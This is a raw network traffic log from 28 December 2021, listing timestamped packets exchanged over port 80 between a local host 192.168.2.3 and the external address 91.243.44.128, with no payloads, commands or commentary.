Dec 28, 2021 05:19:33.801157951 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.801167965 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801204920 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801224947 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.801244020 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801280975 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801320076 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801331997 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.801358938 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801371098 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.801397085 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801435947 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801475048 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801486015 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.801512003 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801523924 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.801552057 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801615953 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801654100 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801671028 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.801692963 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801733971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.801733971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.803858995 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866224051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866278887 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866319895 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866355896 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866364002 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866394997 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866408110 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866436005 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866472960 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866489887 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866513968 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866553068 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866590023 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866601944 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866631031 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866643906 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866672993 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866713047 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866753101 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866760015 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866791964 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866803885 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866832972 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866873980 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866909981 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866921902 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866950035 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.866956949 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.866991043 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867028952 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867069006 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867080927 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.867105961 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867117882 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.867146015 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867183924 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867221117 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867232084 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.867259979 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867271900 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.867300034 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867338896 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867392063 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.867398024 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867439032 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867451906 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.867477894 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867517948 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867557049 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867592096 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.867595911 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.867628098 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.867636919 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.868274927 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.868351936 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.868575096 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.868614912 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.868638992 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.868654013 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.871371031 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.930727005 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.930790901 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.930820942 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.930845976 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.930852890 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.930886030 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.930912971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.930917025 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.930948973 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.930963039 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.930980921 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931014061 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931046009 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931046009 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931078911 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931111097 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931126118 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931144953 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931162119 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931174994 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931205988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931222916 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931237936 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931268930 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931302071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931319952 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931330919 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931353092 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931364059 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931395054 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931423903 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931454897 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931454897 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931469917 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931487083 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931519985 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931538105 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931551933 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931582928 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931613922 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931631088 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931648016 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931669950 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931680918 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931711912 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931742907 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931773901 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931776047 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931798935 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931807041 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931838989 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931869984 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931888103 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931904078 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931920052 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.931935072 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931968927 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.931998968 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.932023048 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.932045937 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.932070017 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.932101011 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.932109118 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.932132959 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.932149887 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.932163954 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.932251930 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.934045076 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.934081078 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.934195042 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995073080 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995126009 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995167017 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995203972 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995229006 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995244026 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995276928 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995285034 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995325089 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995337963 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995364904 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995404959 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995445967 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995459080 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995486975 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995500088 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995526075 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995564938 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995603085 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995619059 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995640993 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995656013 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995731115 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995770931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995811939 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995825052 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995848894 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995861053 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.995889902 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995928049 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995965958 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.995981932 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996005058 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996021032 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996043921 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996115923 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996153116 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996164083 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996191978 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996201038 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996232986 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996270895 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996309996 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996323109 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996349096 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996361017 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996388912 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996428013 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996464968 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996479034 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996505022 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996515989 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996543884 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996582985 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996622086 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996630907 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996661901 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996675014 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996704102 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996742964 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996778965 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996789932 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.996819019 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.996828079 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.997045994 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.997090101 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.997127056 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.997140884 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.997165918 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.997179031 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:33.997205973 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:33.997276068 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.060307026 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060355902 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060396910 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060436010 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060475111 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060477018 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.060509920 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.060517073 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060559034 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060565948 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.060596943 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060636044 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060676098 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060688019 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.060714960 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060728073 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.060755968 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060792923 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060832024 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060843945 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.060882092 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.060899019 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060936928 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.060976982 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061017036 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061028957 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061054945 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061073065 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061094046 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061188936 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061239958 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061244965 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061285973 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061304092 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061328888 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061371088 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061409950 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061424971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061450958 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061464071 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061491013 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061528921 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061568022 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061580896 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061609030 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061618090 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061647892 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061691046 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061731100 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061742067 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061769009 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061783075 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061810017 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061850071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061889887 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061903000 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061930895 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.061943054 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.061969042 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.062007904 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.062046051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.062060118 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.062083960 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.062098980 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.062123060 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.062161922 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.062207937 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.062208891 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.062257051 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.062297106 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.062335968 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.063430071 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.125833988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.125895977 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.125938892 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.125972986 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.125978947 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126022100 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126063108 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126080990 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126102924 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126120090 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126144886 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126185894 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126225948 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126244068 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126267910 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126290083 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126307964 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126348972 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126389027 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126405954 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126427889 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126442909 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126468897 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126509905 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126550913 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126568079 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126593113 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126610041 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126633883 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126684904 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126708984 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126735926 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126775980 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126815081 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126832008 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126854897 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126863956 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.126895905 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126938105 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126975060 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.126995087 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.127015114 CET	80	49834	91.243.44.128	192.168.2.3
